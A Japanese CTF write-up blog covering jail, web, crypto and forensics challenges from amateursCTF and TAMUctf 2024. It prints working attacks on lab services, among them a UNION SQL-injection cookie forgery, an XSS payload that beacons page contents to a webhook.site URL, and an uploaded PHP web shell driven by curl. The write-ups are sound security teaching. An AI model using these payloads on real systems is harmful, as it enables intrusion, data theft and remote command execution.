            print('Command too long')
            exit(1)

        proc = subprocess.Popen(
            ["/bin/sh", "-c", cmd], stdout=subprocess.PIPE, stderr=subprocess.STDOUT)

        print(proc.stdout.read().decode('utf-8'), end='')

if __name__ == '__main__':
    shell()

シェルスクリプトであることに感謝。$0 には /bin/sh が入っているはずだ。$0 と入力すればシェルが立ち上がるのではないか。試してみると、確かにシェルが立ち上がり、フラグが得られた。

$ nc … 2100
$ $0
cat /app/flag.txt
exit
amateursCTF{pic0_w45n7_g00d_n0ugh_50_i_700k_som3_cr34t1v3_l1b3rt135_ade8820e}
amateursCTF{pic0_w45n7_g00d_n0ugh_50_i_700k_som3_cr34t1v3_l1b3rt135_ade8820e}

[Jail 355] javajail2 (54 solves)

okay sorry here's a real jail.

(問題サーバの接続情報)

添付ファイル: main.py

次のようなソースコードが与えられている。ユーザ入力がJavaコードとしてコンパイル・実行されるけれども、import だとか flag.txt だとか使えないワードが色々ある。

#!/usr/local/bin/python3

import subprocess

BANNED = ['import', 'throws', 'new']
BANNED += ['File', 'Scanner', 'Buffered', 'Process', 'Runtime', 'ScriptEngine', 'Print', 'Stream', 'Field', 'javax']
BANNED += ['flag.txt', '^', '|', '&', '\'', '\\', '[]', ':']

print('''
      Welcome to the Java Jail.
      Have fun coding in Java!
      ''')

print('''Enter in your code below (will be written to Main.java), end with --EOF--\n''')

code = ''
while True:
    line = input()
    if line == '--EOF--':
        break
    code += line + '\n'

for word in BANNED:
    if word in code:
        print('Not allowed')
        exit()

with open('/tmp/Main.java', 'w') as f:
    f.write(code)

print("Here's your output:")
output = subprocess.run(['java', '-Xmx648M', '-Xss32M', '/tmp/Main.java'], capture_output=True)
print(output.stdout.decode('utf-8'))

ゴールは flag.txt を読むことにある。色々困りごとはあるが、それぞれ以下のようにして対応した。Javaについてよく知らないので回りくどいことをやっているかもしれない。もっときれいに解けるっぽいし。

なお、わざわざ enum を使って main メソッドを生やしているけれども、これはjavajail1と同様に class が使えないと勘違いしていたためだ。この方法は "java without class" みたいなクエリでググって出てきたページを参考にした。

  • importFile が使えないが、どのようにしてファイルを読むか。リフレクションでなんとかすればよい。Javaのドキュメントとにらめっこしつつ、使えそうなメソッドを探していった
  • [] が使えないので、[ ] とスペースを挟んでいる
  • new byte[] が使えないので、"aaaaa".getBytes() で代替する
  • URL.getContentObject を返す。そのままだと read が呼べないのでわざわざ o という変数に入れている
    • Stream も使えないので結局 oObject で受けるしかなくて、そのためにリフレクションで read を呼んでいる
  • byte[] から String への変換が面倒だったので System.out.printf で代替している

次のコードはこれらをあわせたものだ。

enum Color
{
    RED;
    public static void main(String[ ] args)
    {
        try {
            byte[ ] s = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".getBytes();
            Object o = RED.getClass().getClassLoader().getResource("flag."+"txt").getContent();
            o.getClass().getMethod("read", s.getClass()).invoke(o, s);
            for (int i = 0; i < s.length; i++) System.out.printf("%c", s[i]);
        } catch(Exception e) {}
    }
}

送信するとフラグが得られた。

amateursCTF{r3flect3d_4cr055_all_th3_fac35}

TAMUctf 2024 writeup

4/6 - 4/8という日程で開催された。BunkyoWesternsの🦌ta_ga_naiとして参加して5位。特にコンテナエスケープ問が面白かったし勉強になった。BunkyoWesternsはあと1問で全完というところまでいったのだけれども、[Forensics] Volatileというエスパー要素のあるメモリフォレンジック問にやられた。

目的が読み取れない問題文でメモリフォレンジックを行う必要があるというだけでも、目当てがないままにプロセスにリストやら開かれているファイルのハンドルやら、得られる情報を片っ端から調べる必要がありつらいが、そこにエスパー要素まで加わってくるともうダメだ。メモリフォレンジック問だから真面目にやれば解けるのだとは考えず、やれることはやって何も見つからなかった時点でエスパー問のための思考に切り替える必要があったとは思う。


[Web 100] Cereal (101 solves)

Just made a new website. It's a work in progress, please don't judge...

(URL)

添付ファイル: cereal.zip

与えられたURLにアクセスすると、以下のようなログインフォームが表示される。表示されているcredsでログインすると "Welcome guest!" と言われる。それだけ。

Cookieに auth というキーで以下のような値が入っている。ログイン情報をここに保存しているらしい。

Tzo0OiJVc2VyIjo0OntzOjg6InVzZXJuYW1lIjtzOjU6Imd1ZXN0IjtzOjI6ImlkIjtpOjE7czoxMToiACoAcGFzc3dvcmQiO3M6MzI6IjVmNGRjYzNiNWFhNzY1ZDYxZDgzMjdkZWI4ODJjZjk5IjtzOjEwOiIAKgBwcm9maWxlIjtOO30%3D

ソースコードを読んでいく。authenticate.php にログイン周りの処理が詰まっている。なるほど、User という色々とユーザの情報が入っているクラスのインスタンスを serialize でシリアライズし、Base64エンコードして先程のCookieに保存しているようだ。

<?php// Creating cookie
if ($row['username'] === $username && $row['password'] === $password) {
    $cookie_name='auth';
    $cookie = new User();
    $cookie->username = $username;
    $cookie->id = (int)$row['id'];
    $cookie->setPassword(md5($row['password']));
    setcookie($cookie_name, base64_encode(serialize($cookie)), time() + (86400 * 30), "/");
    echo 'Welcome ' . $username . '! ' . '<br><br><a href="home.php"><i class="fas fa-user-circle"></i>Home</a>';
} else {

home.php を読むと、確かにこの auth というCookieについて、Base64デコードして unserialize で元のオブジェクトを復元し、以降それを参照している様子が確認できる。署名はないので、いくらでもその値を改ざんできる。好きなものを unserialize できるということで、これはInsecure Deserialization(PHPなのでPHP Object Injectionとも言う)だ。

<?php
require_once('config.php');

// Check if logged in
if (!isset($_COOKIE['auth']) || empty($_COOKIE['auth'])) {
    header('Location: logout.php');
    exit;
}

$cookie = unserialize(base64_decode($_COOKIE['auth']));

?>

さて、このInsecure Deserializationによってどんなオブジェクトが作れると嬉しいか。Dockerfile は配布されていないし、ソースコード中で flaggigem 等を検索しても何も見つからないので、フラグが表示される条件はよくわからない。とりあえずここから別の攻撃に発展させられないか、ソースコードを読みつつ考えていこう。

User の実装を見ていく。PHPでは unserialize でデシリアライズされた際にそのオブジェクトの __wakeup というメソッドが呼ばれるわけだけれども、User については validaterefresh を呼んでいることがわかる。

validate では usernamepassword の2つのプロパティを使いつつ、これらのcredsについて実在するユーザのものであるかを確認している。ちゃんとプレースホルダを使っているのでSQLiは発生していない。

続いて refresh が行われ、そのユーザのプロフィールを取得しているわけだけれども、今度は idusername というプロパティを参照している。なぜか今度はプレースホルダを使っておらず、明らかにSQLiがある。username の方は validate でも参照されるからいじれないけれども、id はいくらでもいじれる。こちらからSQLiができそうだ。

<?php
class User {
  public $username = '';
    public $id = -1;
    
    protected $password = '';
    protected $profile;

    public function setPassword($pass) {
        $this->password = $pass;
    }

    public function sendProfile() {
        return $this->profile;
    }

    public function refresh() {
        // Database connection
        $conn = new PDO('sqlite:../important.db');
        $conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
        $query = "select username, email, favorite_cereal, creation_date from users where `id` = '" . $this->id . "' AND `username` = '" . $this->username . "'";
        $stmt = $conn->prepare($query);
        $stmt->execute();
        $row = $stmt->fetch();

        $this->profile = $row;
    }

    public function validate() {
        // Database connection
        $conn = new PDO('sqlite:../important.db');
        $conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
        $query = "select * from users where `username` = :username";
        $stmt = $conn->prepare($query);
        $stmt->bindParam(':username', $this->username);
        $stmt->execute();
        $row = $stmt->fetch();

        if (md5($row['password']) !== $this->password) {
            header('Location: logout.php');
            exit;
        }
    }

    public function __wakeup() {
        $this->validate();
        $this->refresh();
        }
}

?>

次のようなPHPコードを用意して、Cookieにセットすると細工した User がデシリアライズされる文字列を作る。

<?php
class User {
    function __construct() {
        $this->username = 'guest';
        $this->password = '5f4dcc3b5aa765d61d8327deb882cf99';
        $this->id = "' union select group_concat(sql),2,3,4 from sqlite_master; -- ";
        $this->profile = 'poyo';
    }
}

echo base64_encode(serialize(new User)) . "\n";

?>

出力された文字列をCookieにセットして、プロフィールが表示されるページを閲覧する。次のように、SQLiによってデータベースに存在するテーブルの作成に使われたSQLを取り出すことができた。

今度はSQLiのペイロードを ' union select group_concat(username),group_concat(password),3,4 from users; -- に変更し、すべてのユーザのユーザ名とパスワードを抽出する。admin というユーザのパスワードがフラグだった。

[Web 100] Forgotten Password (141 solves)

Author: bit

We discovered that this blog owner's email is b8500763@gmail.com through reconaissance. We do not have access to the password of the account, how could we login regardless?

(URL)

添付ファイル: forgotten-password.zip

与えられたURLにアクセスすると、次のようなログインフォームが表示される。

パスワードを忘れてしまった際のパスワードリセット用フォームもある。メールアドレスを入力すればよいようだ。

ソースコードを見ていく。まず、次のようなディレクトリ構造からRuby on Rails製のアプリだとわかる。

$ tree -d -L 2 .
.
├── app
│   ├── assets
│   ├── channels
│   ├── controllers
│   ├── javascript
│   ├── mailers
│   ├── models
│   └── views
├── bin
├── config
│   ├── environments
│   ├── initializers
│   └── locales
├── db
│   └── migrate
├── lib
│   ├── assets
│   └── tasks
├── log
├── public
├── storage
├── test
│   ├── controllers
│   ├── fixtures
│   ├── helpers
│   ├── integration
│   ├── mailers
│   ├── models
│   └── system
├── tmp
│   ├── pids
│   └── storage
└── vendor
    └── javascript

34 directories

パスワードリセット周りのロジックを見ていこう。app/controllers/auth_controller.rb がそれだ。入力されたメールアドレスに対応するユーザがいれば、そのメールアドレスに対してパスワードリセットのメッセージを送っている。

それはいいのだけれども、その入力されたメールアドレスに対応するユーザがいるかどうかのチェックがおかしい。params[:email].include?(user.email) かどうか、つまり入力されたメールアドレス「に」ユーザのメールアドレス「が」含まれているかを見ている。"b8500763@gmail.com"@example.com のようなものも許してしまうわけだ。

class AuthController < ApplicationController


  def login
  end

  def forget
  end

  def recover
    user_found = false
    User.all.each { |user|
      if params[:email].include?(user.email)
        user_found = true
        break
      end
    }

    if user_found
      RecoveryMailer.recovery_email(params[:email]).deliver_now
      redirect_to forgot_password_path, notice: 'Password reset email sent'
    else
      redirect_to forgot_password_path, alert: 'You are not a registered user!'
    end

  end
end

"b8500763@gmail.com"@example.com (example.com は私の管理するドメイン名に置き換える)をパスワードリセットフォームに入力してみる。すると、25/tcpへの接続の試行があった。SMTPを喋ってみると、パスワードリセットのメールを受け取ることができた。このメールにフラグが含まれていた。

$ sudo nc -lvp 25
Listening on 0.0.0.0 25
Connection received on so254-9.mailgun.net 61175
220 … ESMTP
EHLO so254-9.mailgun.net
250 …
MAIL FROM:<bounce+433457.6673cb-"0b8500763@gmail.com"=…@fgpwmg.tamuctf.com>
250 sender <bounce+433457.6673cb-"0b8500763@gmail.com"=…@fgpwmg.tamuctf.com> ok
RCPT TO:<"0b8500763@gmail.com"@…>
250 recipient <"0b8500763@gmail.com"@…> ok
DATA
354 go ahead
…
Subject: Flag
From: ForgottenPassword@tamuctf.com
To: "0b8500763@gmail.com"@…
date: Sat, 06 Apr 2024 05:42:35 +0000
message-id: <6610e0cb16f28_2bd15000-4df@73e71080d4bd.mail>
Content-Transfer-Encoding: 7bit
Content-Type: text/html; charset=ascii

<!DOCTYPE html>
<html>
  <head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
    <style>
      /* Email styles need to be inline */
    </style>
  </head>

  <body>
    <h1> Here is the flag! </h1>

<p>gigem{sptfy.com/Qhnv}</p>

  </body>
</html>
.
gigem{sptfy.com/Qhnv}

[Web 191] Flipped (89 solves)

So many challenges have plaintext cookies. Try breaking my encrypted cookies!

(URL)

添付ファイルはないが、与えられたURLにアクセスすると次のようなソースコードが表示された。ランダムに生成された鍵でAES-CBCを使ってユーザ情報を暗号化し、Cookieに格納している。あるいは、Cookieに格納されているバイト列を復号してユーザ情報を取り出している。

デフォルトでは {"admin": 0, "username": "guest"} というユーザ情報が格納されているけれども、フラグを得るためにはこの admin というプロパティを 1true に変更する必要がある。

from os import environ
from hashlib import md5
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes
from Crypto.Util.Padding import pad, unpad
from flask import Flask, request, make_response, Response
from base64 import b64encode, b64decode

import sys
import json

FLAG = environ['FLAG']
PORT = int(environ['PORT'])

default_session = '{"admin": 0, "username": "guest"}'
key = get_random_bytes(AES.block_size)
app = Flask(__name__)


def encrypt(session):
    iv = get_random_bytes(AES.block_size)
    cipher = AES.new(key, AES.MODE_CBC, iv)
    return b64encode(iv + cipher.encrypt(pad(session.encode('utf-8'), AES.block_size)))


def decrypt(session):
    raw = b64decode(session)
    cipher = AES.new(key, AES.MODE_CBC, raw[:AES.block_size])
    try:
        return unpad(cipher.decrypt(raw[AES.block_size:]), AES.block_size).decode()
    except Exception:
        return None


@app.route('/')
def index():
    session = request.cookies.get('session')
    if session == None:
        res = Response(open(__file__).read(), mimetype='text/plain')
        res.set_cookie('session', encrypt(default_session).decode())
        return res
    elif (plain_session := decrypt(session)) == default_session:
        return Response(open(__file__).read(), mimetype='text/plain')
    else:
        if plain_session != None:
            try:
                if json.loads(plain_session)['admin'] == True:
                    return FLAG
                else:
                    return 'You are not an administrator'
            except Exception:
                return 'You are not an administrator'
        else:
            return 'You are not an administrator'

if __name__ == '__main__':
    app.run('0.0.0.0', PORT)

username というプロパティは一切参照されていない。{"admin": 0, "username": "guest"} に対応する暗号文は得られるわけだから、改ざんによって作るユーザ情報は {"admin": 1} でも構わない。最初のブロック以外は削除し、IVをいじって {"admin": 1}\x04\x04\x04\x04 へ復号されるような暗号文を作ろう。

import base64
import httpx
from ptrlib import *
with httpx.Client(base_url='https://…/') as client:
    client.get('/')

    session = client.cookies['session']
    encrypted = base64.b64decode(session)
    iv = encrypted[:16]
    new_session = base64.b64encode(xor(
        xor(iv, b'{"admin": 0, "us'), b'{"admin": 1}\x04\x04\x04\x04'
    ) + encrypted[16:32]).decode()
    client.cookies['session'] = new_session

    print(client.get('/').text)

これを実行するとフラグが得られた。

gigem{verify_your_cookies}

[Web 388] Cracked (53 solves)

Well, I guess my crypto wasn't the best... This time I am using an HMAC to do integrity checking on the session. Good luck getting the flag now!

Note: This challenge is intended to be solved after Flipped, but it is not required.

(URL)

添付ファイルはないが、与えられたURLにアクセスすると次のようなソースコードが表示された。今度はCookieの session というキーにユーザ情報が、sig というキーにそのHMAC(HMAC-SHA1)が格納されている。もちろんこの sigsession が正しいかどうかの検証に用いられる。HMACの比較には == でなく hmac.compare_digest を使っているのでタイミング攻撃はダメそう。全体的にセキュアなコードに見える。

from os import environ
from hashlib import sha1
from flask import Flask, request, make_response, Response
from base64 import b64encode, b64decode

import hmac
import json


KEY = environ['KEY']
FLAG = environ['FLAG']
PORT = int(environ['PORT'])

default_session = '{"admin": 0, "username": "guest"}'
app = Flask(__name__)


def sign(m):
    return b64encode(hmac.new(KEY.encode(), m.encode(), sha1).digest()).decode()


def verify(m, s):
    return hmac.compare_digest(b64decode(sign(m)), b64decode(s))


@app.route('/')
def index():
    session = request.cookies.get('session')
    sig = request.cookies.get('sig')
    if session == None or sig == None:
        res = Response(open(__file__).read(), mimetype='text/plain')
        res.set_cookie('session', b64encode(default_session.encode()).decode())
        res.set_cookie('sig', sign(default_session))
        return res
    elif (plain_session := b64decode(session).decode()) == default_session:
        return Response(open(__file__).read(), mimetype='text/plain')
    else:
        if plain_session != None and verify(plain_session, sig) == True:
            try:
                if json.loads(plain_session)['admin'] == True:
                    return FLAG
                else:
                    return 'You are not an administrator'
            except Exception:
                return 'You are not an administrator'
        else:
            return 'You are not an administrator'

if __name__ == '__main__':
    app.run('0.0.0.0', PORT)

今度は KEY がランダムに生成されたものではなく環境変数由来であることに注目する。また、問題名も "Cracked" だ。簡単にクラックできるような鍵なのではないか。hashcatで殴ろう。hashcat.exe -m 150 -a 0 hash.txt rockyou.txt で、6lmao9 が鍵であるとわかった(ΦωΦ)

…
Host memory required for this attack: 667 MB

Dictionary cache hit:
* Filename..: rockyou.txt
* Passwords.: 14344384
* Bytes.....: 139921497
* Keyspace..: 14344384

beefda82f9ed4590ea38e9c5a4616397e19f9c74:{"admin": 0, "username": "guest"}:6lmao9
…

判明した鍵を使って {"admin": 1} に対応する sig を計算する。Cookieにそれぞれセットするとフラグが得られた。

gigem{maybe_pick_a_better_password_next_time}

[Web 440] Imposter (40 solves)

I'm not a big fan of Discord's new ToS changes, so I'm making my own crappy version of Discord that isn't overly invasive.

(URL)

与えられたURLにアクセスすると、次のようにログインフォームが表示された。

適当にユーザ登録してログインすると、次のようにDiscordのパチモンが表示された。最初からチャットの対象として admin#0000 というユーザがリストに存在している。

<s>test</s> と入力すると次の通り斜線が表示され、まずHTML Injectionがあるとわかる。<img src=x onerror="navigator.sendBeacon('…')"> と入力するとadmin botからアクセスがあった。XSSもあるようだ。

さて、この問題ではXSSで何をすればよいだろうか。クライアント側のコードを読むと、次のように /flag というメッセージを入力すると特殊な挙動をするとわかる。

      $('#message-box').keypress(function(e) {
        var code = e.keyCode || e.which;
        if(code == 13) {
          message = $('#message-box').val();
          if(message != '') {
            dst = document.getElementById('active-dm').name;
            $('#message-box').val('');
            if(message != '/flag') {
              socket.emit('json', {'to': dst, 'message': message, 'time': moment().format('h:mm:ss A')});
            } else {
              socket.emit('flag');
            }
          }
        }
      });

やってみると、admin#0000 しか /flag でフラグを閲覧できないと怒られる。

ならば、XSSで無理やり admin#0000/flag と送らせよう。<img src=x onerror="setTimeout(()=>{socket.emit('flag');setTimeout(()=>{navigator.sendBeacon('https://webhook.site/…',document.body.innerHTML)},500);},500)"> というメッセージを送る。すると、次のように /flag へのレスポンスとしてフラグが返っている様子が確認できた。

<div class="container">
      <div id="chat" class="chat">
        <img src="x" onerror="setTimeout(()=>{socket.emit('flag');setTimeout(()=>{navigator.sendBeacon('https://webhook.site/…',document.body.innerHTML)},500);},500)">
      
        <div class="message">
            <span class="sender">System</span>
            <p>gigem{its_like_xss_but_with_extra_steps}</p>
        </div>
    </div>
gigem{its_like_xss_but_with_extra_steps}

[Web 454] Remote (35 solves)

I just released the newest version of my online image repository.

Patch notes:

  • Added ability to upload via URL

Note: The flag is located in /var/www/.

(URL)

添付ファイル: remote.zip

与えられたURLにアクセスすると、次のように画像のアップロードフォームが表示される。適当な画像をアップロードしてやると、ページの下部にアップロードした画像が表示された。この画像は /index.php?file=6613d5693f0f59.39827636_fiqjnolhkpgme.jpeg のようなURLになっている。

このように直接画像をアップロードできる機能のほか、URLを指定してのアップロードもできるようだ。URLに htm, php, js, css といったものが含まれておらず、またURLとして正しければ、その内容を取ってくる。そのURLに. で区切った右側を拡張子として、ランダムなファイル名で保存する。このパスは uploads/(セッションID)/(ランダムなファイル名) というものになっている。

<?php} else if(isset($_REQUEST['url'])) {
    if(!preg_match("/(htm)|(php)|(js)|(css)/", $_REQUEST['url'])) {
      $url = filter_var($_REQUEST['url'], FILTER_SANITIZE_URL);
      if(filter_var($url, FILTER_VALIDATE_URL)) {
        $img = file_get_contents($url); 
        if($img !== false) {
          $mime = substr($url, strrpos($url, '.') + 1);
          $file = random_filename(32, 'uploads/' . $sess, $mime);
          
          $f = fopen('uploads/' . $sess . '/' . $file, "wb");
          if($f !== false) {
            fwrite($f, $img);
            fclose($f);
            header('Location: /index.php?message=Image uploaded successfully&status=success');
…

filter_var($url, FILTER_VALIDATE_URL)file:///etc/passwd のようなものでも通してしまうので、このチェックはないものとして考えてよい。ただ、/(htm)|(php)|(js)|(css)/ というチェックはどうすれば通せるだろうか。よく見ると、この正規表現によるチェックの対象は $_REQUEST['url'] なのに対して、実際にコンテンツを取ってくるURLは FILTER_SANITIZE_URL を通したものになっている。順番が逆ではないか。

FILTER_SANITIZE_URL がどのようなものかPHPのドキュメントを参照すると「英字、数字および $-_.+!*'(),{}|\\^~[]`<>#%";/?:@&= 以外のすべての文字を取り除きます」とある。つまり、hoge.p(消される文字)hp のようにすると hoge.php になり、たとえ .php で終わっていてもダウンロードさせられるのではないか。

次のようにわざと php の間にnull文字を入れる。これで /aaa.php にHTTPリクエストが送られ、.php で終わる <?php passthru($_GET['piyopiyo']); という内容のファイルを保存させることができた。

$ curl -c cookie.txt https://…
...
$ curl -c cookie.txt https://…/ -d "url=http://…/aaa.p%00hp" | grep -3 image-display
...
      <div class="result" id="result">
      </div>
    </form>
    <div class=image-display>
<a href=/index.php?file=te8wq2jvqvevph4zn6w9kvg61qilecs1.php><div class=card><img class=thumbnail src=/index.php?file=te8wq2jvqvevph4zn6w9kvg61qilecs1.php></div></a>    </div>
  </div>
</div>

さて、/index.php?file=te8wq2jvqvevph4zn6w9kvg61qilecs1.php にアクセスしてもPHPコードは実行されない。どうすればRCEに持ち込めるだろうか。アップロード先は uploads とされていたけれども、これはドキュメントルート下にある。つまり、index.php を通さずとも直接アクセス可能である。セッションIDはCookieからわかるし、実際のファイル名も .image-display 中の imgsrc 属性からわかる。完全なパスも推測可能だ。

このとき、セッションIDは 7e1345af2b56cf47d90b075f7a044a41 だった。アップロード先の /uploads/7e1345af2b56cf47d90b075f7a044a41/te8wq2jvqvevph4zn6w9kvg61qilecs1.php に直接アクセスすると、このPHPコードが実行された。そのままフラグを探すと、見つかった。

$ curl "https://…/uploads/7e1345af2b56cf47d90b075f7a044a41/te8wq2jvqvevph4zn6w9kvg61qilecs1.php?piyopiyo=ls+/tmp|grep+-v+sess"
flag-de88df3ebf2f0c4bf871ddfb2e0fcce4.txt
$ curl "https://…/uploads/7e1345af2b56cf47d90b075f7a044a41/te8wq2jvqvevph4zn6w9kvg61qilecs1.php?piyopiyo=cat+/tmp/flag-de88df3ebf2f0c4bf871ddfb2e0fcce4.txt"
gigem{new_features_means_new_opportunities}
gigem{new_features_means_new_opportunities}

[Cryptography 464] Jumbled (30 solves)

The RSA Public and Private keys are provided. However, the private key seems to be jumbled in a block size of 10 hex characters. Can you get the flag?

添付ファイル: jumbled.zip

添付ファイルを展開すると public, private, flag.txt.enc の3つのファイルが出てきた。private はこんな感じ。

49 45 4e 42 47 2d 2d 2d 2d 2d 20 54 4b 41 45 49 50 56 20 52 0a … 0d 33 32 65 4e 61 46 6a 61 6b 53 44 6c 54 61 49 4f 52 74 77 37 37 79 6f 64 6a 2d 2d 2d 2d 2d 0d 3d 0a 51 3d 41 49 54 52 56 20 4e 50 45 44 2d 2d 2d 2d 2d 45 20 59 45 4b

hexデコードをすると次のようなテキストが現れた。なるほど、問題文の通りぐちゃぐちゃになっている。

IENBG----- TKAEIPV R
-M-
-Y-E-DBAIAvIAIEGk9hikBqNgAFSEAA0QwBigAgSYBwCKQBCIAAEogA4P0hviZFqN8uoOx
N
Hktux20rj7PgiY+pd5tVkPD9tf+nw1fGyPwkomYXOrQ1YyotznX2pH
T6Lk6U/CkE3Z4S7
oPfVCQcZDzJcmbJ61kpMplvvd6xqDTl/jtnchYikNDIYdLyBAqSy
z
…
X/ILK+iDhwhqhsqsb5ERMzT6FBz+Ag+yPtwyRPK8rYvnV76CCW
epV
32eNaFjakSDlTaIORtw77yodj-----
=
Q=AITRV NPED-----E YEK

元のテキストは -----BEGIN PRIVATE KEY----- から始まるはずだ。10文字ごとに区切り*1、はじめの2ブロックについて、各文字が本来何文字目にあるべきかを確認する。なるほど、ブロックごとにその置換の方法は変わらないようだ。

86957?????
IENBG-----

8695731402
 TKAEIPV R

雑に、テキストを元に戻すスクリプトを書く。

import binascii
import io
with open('jumbled/private') as f:
    s = binascii.unhexlify(f.read().replace(' ', ''))

table = (8, 6, 9, 5, 7, 3, 1, 4, 0, 2)

res = b''
i = io.BytesIO(s)
while True:
    t = i.read(10)
    if t == b'':
        break
    for j in table:
        res += bytes([t[j]])
print(res.decode())

with open('private', 'wb') as f:
    f.write(res)

この秘密鍵を使って flag.txt.enc を復号できた。

$ openssl pkeyutl -decrypt -inkey private -in jumbled/flag.txt.enc
gigem{jumbl3d_r54_pr1v473_k3y_z93kd74lx}
gigem{jumbl3d_r54_pr1v473_k3y_z93kd74lx}

[Forensics 486] SMP (20 solves)

We'd call it Bedwars but we suck at Bedwars too much.

添付ファイル: smp.zip

添付ファイルを展開すると smp.log というファイルが出てきた。これは以下のようなテキストファイルで、24.7MBとかなり大きい。ログに含まれる "Move Entity PosRot" のような特徴的に思えるクエリで検索すると、どうやらSniffCraftというツールでMinecraftのパケットをキャプチャしたものらしいとわかった。

[0:00:00:005] [Handshake] [(SC) --> S] Client Intention
[0:00:00:005] [Handshake] [C --> (SC)] Client Intention
[0:00:00:005] [Login] [(SC) --> S] Hello
[0:00:00:005] [Login] [C --> (SC)] Hello
[0:00:00:358] [Login] [(SC) --> S] Key
[0:00:00:358] [Login] [S --> (SC)] Hello
[0:00:00:574] [Login] [S --> C] Login Compression
[0:00:00:574] [Login] [S --> C] Game Profile
[0:00:00:575] [Login] [C --> S] Login Acknowledged
…

このままだと扱いづらいので、無理やりJSONに変換する。

import json

with open('smp/smp.log') as f:
    s = f.read()
s = '\n' + s[:s.index('Sorted by count')]
i = 0

result = []
while i != -1:
    j = s.find('\n[', i + 1)
    t = s[i:j]

    first_line, *data = t.strip().split('\n', 1)
    timestamp = first_line[1:].split(']', 1)[0]
    is_server_to_client = 'S --> C' in first_line
    command = first_line.rsplit('] ', 1)[1]

    result.append({
        'command': command,
        'timestamp': timestamp,
        'isServerToClient': is_server_to_client,
        'data': None if len(data) == 0 else json.loads(data[0])
    })

    i = j

with open('smp.json', 'w') as f:
    json.dump(result, f)

ログの最後に統計情報が載っている。全部で何十万とパケットがある中で、サーバからクライアントに対して送られている "Block Update" というパケットは866個しかなく、またブロックの何かしらの情報を更新しているという点が気になった。x, y, zの座標の情報もこのパケットに含まれているので、プロットしてみたい。

…
| Update Recipes                                 |      1 ( 0.00%) |    22651 ( 0.22%) | 
| Forget Level Chunk                             |   1451 ( 0.73%) |    15961 ( 0.16%) | 
| Entity Event                                   |   1432 ( 0.72%) |    11456 ( 0.11%) | 
| Block Update                                   |    866 ( 0.44%) |    11027 ( 0.11%) | 
| Update Tags (Configuration)                    |      1 ( 0.00%) |     8517 ( 0.08%) | 
| Update Advancements                            |      1 ( 0.00%) |     7834 ( 0.08%) | 
| Commands                                       |      1 ( 0.00%) |     7797 ( 0.08%) | 
…

プロットするスクリプトを用意した。

import json
import matplotlib.pyplot as plt
from mpl_toolkits.mplot3d import Axes3D

with open('smp.json', 'r') as f:
    packets = json.load(f)

fig = plt.figure()
ax = fig.add_subplot(projection='3d')

x, y, z = [], [], []
for packet in packets:
    if packet['command'] != 'Block Update':
        continue
    pos = packet['data']['pos']
    x.append(pos['x'])
    y.append(pos['y'])
    z.append(pos['z'])

ax.scatter3D(x, y, z)

plt.show()

実行してぐるぐる回すと、次のようにフラグが現れた。

gigem{w3_L0v3_pL1y1n_MC_SMP}

[Forensics 486] MCFS (20 solves)

The size of a Minecraft world is 60,000,000 * 60,000,000 * 384 blocks. If 256 different blocks are chosen to represent a byte of data, this means that a Minecraft world could store roughly 1.2 exabytes of data. Naturally, this must mean that Minecraft is the best storage system in terms of capacity, so I have decided to start storing my files in my world. Have fun recovering them!

Note: The file size is 8MB

添付ファイル: mcfs.zip

添付ファイルを展開すると、Minecraftのワールドデータが格納されている world というディレクトリと、mcfs.jar とが出てきた。jadx-guimcfs.jar をデコンパイルする。一番重要なのは次のメソッドだ。このコマンドに第1引数として与えられたファイルを読み出して、一定間隔でワールドへブロックを設置している。設置されるブロックの種類はファイルの内容に基づいている。

    public boolean onCommand(CommandSender sender, Command command, String label, String[] args) {
        if (args.length != 1) {
            return false;
        }
        ((Player) sender).getWorld().setGameRule(GameRule.DO_DAYLIGHT_CYCLE, false);
        ((Player) sender).getWorld().setGameRule(GameRule.RANDOM_TICK_SPEED, 0);
        Hashtable<Integer, Tag<Material>> tagBlacklist = new Hashtable<>();
        tagBlacklist.put(1, Tag.ENDERMAN_HOLDABLE);
        tagBlacklist.put(2, Tag.BAMBOO_PLANTABLE_ON);
        tagBlacklist.put(4, Tag.SNOW);
        Hashtable<Integer, Material> materialHashMap = new Hashtable<>();
        Iterator<Material> materials = Arrays.stream(Material.values()).iterator();
        int i = 0;
        while (materialHashMap.size() < 256 && materials.hasNext()) {
            Material material = materials.next();
            if (material.isSolid() && !material.hasGravity() && !material.isInteractable() && !material.equals(Material.FARMLAND) && !isTagged(tagBlacklist, material)) {
                materialHashMap.put(Integer.valueOf(i), material);
                i++;
            }
        }
        byte[] fileBytes = new byte[0];
        try {
            fileBytes = Files.readAllBytes(Paths.get(args[0], new String[0]));
        } catch (IOException e) {
            e.printStackTrace();
        }
        int byteIndex = 0;
        int row = 0;
        while (true) {
            for (int x = 0; x < 256; x++) {
                for (int y = 0; y < 256; y++) {
                    for (int z = 0; z < 16; z++) {
                        try {
                            if (byteIndex > fileBytes.length - 1) {
                                return true;
                            }
                            ((Player) sender).getWorld().getBlockAt(0 + x, CHUNKHEIGHT - y, 0 + (16 * row) + z).setType(materialHashMap.get(Integer.valueOf(Byte.toUnsignedInt(fileBytes[byteIndex]))));
                            byteIndex++;
                        } catch (Exception e2) {
                            e2.printStackTrace();
                            return true;
                        }
                    }
                }
            }
            row++;
        }
    }

添付されたワールドに設置されているブロックをもとに、書き込まれたファイルを復元するBukkitプラグインを作ろう。以下のようなコードができあがる。

package com.example.testplugin;

import org.bukkit.plugin.java.JavaPlugin;

import java.io.BufferedOutputStream;
import java.io.FileOutputStream;
import java.util.Arrays;
import java.util.Enumeration;
import java.util.List;
import java.util.Hashtable;
import java.util.Iterator;

import org.bukkit.Bukkit;
import org.bukkit.GameRule;
import org.bukkit.Material;
import org.bukkit.Server;
import org.bukkit.Tag;
import org.bukkit.World;

public final class Testplugin extends JavaPlugin {
    public static final int CHUNKSIZE = 16;
    public static final int CHUNKHEIGHT = 256;
    public static final int BLOCKLEN = 16;
    public static final int X = 0;
    public static final int Z = 0;

    @Override
    public void onEnable() {
        Server server = Bukkit.getServer();
        List<World> worlds = server.getWorlds();
        getLogger().info("worlds size " + worlds.size());
        World world = worlds.get(0);

        world.setGameRule(GameRule.DO_DAYLIGHT_CYCLE, false);
        world.setGameRule(GameRule.RANDOM_TICK_SPEED, 0);

